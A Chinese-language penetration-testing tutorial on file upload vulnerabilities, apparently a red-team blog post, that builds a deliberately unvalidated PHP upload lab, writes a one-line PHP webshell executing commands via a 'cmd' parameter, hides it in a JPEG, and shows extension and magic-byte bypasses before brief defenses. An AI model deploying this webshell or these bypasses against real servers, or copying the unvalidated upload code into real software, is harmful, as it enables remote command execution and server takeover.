0x01 攻击板块:文件上传漏洞的真实渗透案例

在一次针对某互联网公司的授权渗透测试中,我们发现了一个经典的文件上传漏洞。目标网站允许用户上传图片文件进行头像更换,但没有严格验证文件类型。这种漏洞极为常见,假如攻击者能够上传恶意脚本并通过服务器执行,就能获取服务器权限,进而进行更深入的攻击。

我们首先进行了信息收集,分析了上传功能的响应以及后端的处理方式。通过仔细观察,我们发现了服务器并没有对上传文件做严格的内容检查。这意味着我们可以上传一个伪装成图片的恶意脚本文件,并在服务器端执行。

攻击者的实验室:搭建文件上传漏洞的环境

为了复现上述的渗透过程,我们可以自行搭建一个简单的测试环境。使用的技术栈为Nginx + PHP,模拟一个有漏洞的文件上传服务。

环境搭建

首先,我们需要设置一个基本的Nginx服务器,并在其中配置PHP支持。

<pre><code class="language-shell"># 安装Nginx和PHP sudo apt update sudo apt install nginx php-fpm

黑客示意图

配置Nginx以支持PHP

cat &lt;&lt; EOF | sudo tee /etc/nginx/sites-available/upload_vuln server { listen 80; server_name localhost;

location / { root /var/www/upload_vuln; index index.php index.html index.htm; }

location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; } } EOF

创建测试目录和文件

sudo mkdir -p /var/www/upload_vuln echo &quot;&lt;?php echo &#039;Upload page&#039;; ?&gt;&quot; | sudo tee /var/www/upload_vuln/index.php

启动服务

sudo ln -s /etc/nginx/sites-available/upload_vuln /etc/nginx/sites-enabled/ sudo systemctl restart nginx</code></pre>

上传功能实现

我们需要创建一个简单的PHP脚本,处理文件上传请求。

<pre><code class="language-php">&lt;?php if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;) { $file = $_FILES[&#039;file&#039;]; $upload_dir = &#039;/var/www/upload_vuln/uploads/&#039;;

// 简单的文件上传逻辑,没有验证 move_uploaded_file($file[&#039;tmp_name&#039;], $upload_dir . basename($file[&#039;name&#039;])); echo &#039;File uploaded successfully!&#039;; } else { echo &#039;&lt;form method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&gt; &lt;input type=&quot;file&quot; name=&quot;file&quot; /&gt; &lt;button type=&quot;submit&quot;&gt;Upload&lt;/button&gt; &lt;/form&gt;&#039;; } ?&gt;</code></pre>

该代码提供了一个简单的上传表单,并将文件存储到服务器指定目录中。

Payload构造的艺术:实现恶意代码上传

为了利用文件上传漏洞,我们需要构造一个有效的Payload。首先,我们需要伪装我们的恶意代码为图片格式,以绕过粗略的文件检查。

构造恶意文件

攻击者可以使用一个简单的PHP WebShell作为Payload。例如,添加一个后门的PHP脚本至图片中,并对其进行伪装。

<pre><code class="language-shell"># 创建一个恶意Payload echo &quot;&lt;?php system(\$_GET[&#039;cmd&#039;]); ?&gt;&quot; &gt; shell.php

将恶意代码伪装为图片

cat shell.php &gt;&gt; image.jpg</code></pre>

在此,shell.php是我们的恶意代码,它将可以通过cmd参数执行任意命令。我们将其追加到一个假的image.jpg文件中。

上传恶意文件并执行

在上传页面中上传构造的image.jpg文件,并通过浏览器访问如下URL:

<pre><code>http://localhost/uploads/image.jpg?cmd=whoami</code></pre>

如果上传成功并能够执行命令,那么我们将在页面上看到服务器执行whoami命令后的返回结果。

绕过审查:玩转文件验证机制

黑客示意图

在实战中,目标服务器可能会实施某些机制来检测上传文件。例如,验证文件类型或检查文件内容。我们可以通过多种方式绕过这些检查。

绕过常见的文件类型验证

黑客示意图

很多服务器仅通过文件扩展名判断文件类型,攻击者可以通过以下方式绕过:

<pre><code class="language-shell"># 伪造扩展名为图片 mv shell.php shell.jpg

或使用双扩展名技巧

mv shell.php shell.php.jpg</code></pre>

这些方法可以欺骗不认真验证的服务器,让服务器认为上传的是图片文件。

绕过文件内容检测

一些服务器可能使用MIME类型检测文件内容,攻击者可以通过修改文件头来伪装。

<pre><code class="language-shell"># 伪装MIME类型为图片 echo -e &quot;\xFF\xD8\xFF\xE0&quot; &gt; fake_header.jpg cat shell.php &gt;&gt; fake_header.jpg</code></pre>

通过在PHP代码前添加JPEG文件头,我们可以伪装为合法的图片文件。

防御者的盾牌:如何检测与防御

在攻击者的视角下,我们也必须了解如何有效检测与防御文件上传漏洞,以保护我们的系统。

强化文件上传验证

最有效的防御手段是严格的文件类型验证。服务器应该检查文件内容,而不仅仅是扩展名。可以使用以下策略:

  • MIME类型验证:通过服务器端脚本或库验证文件的实际MIME类型。
  • 内容扫描:使用安全工具扫描文件内容,确保没有恶意代码。
  • 文件路径隔离:将上传文件存储在一个与Web目录隔离的路径,避免直接访问。

实时监测与响应

结合现代EDR/AV解决方案,实时监测服务器的行为,识别异常文件上传或执行事件。

红队的心得:文件上传漏洞的个人经验分享

作为一名红队人员,文件上传漏洞总是一个值得关注的目标。以下是几点个人经验:

  1. 不断创新:随着防御技术的提高,攻击者也必须不断创新Payload和绕过技巧。
  2. 环境模拟:在测试时模拟目标环境,能更好地理解漏洞成因及实现攻击。
  3. 持续学习:安全领域变化迅速,保持对新技术的学习和了解非常重要。

这篇文章仅供授权安全测试使用,通过理解文件上传漏洞的攻击与防御,希望能帮助安全研究员更好地保护系统。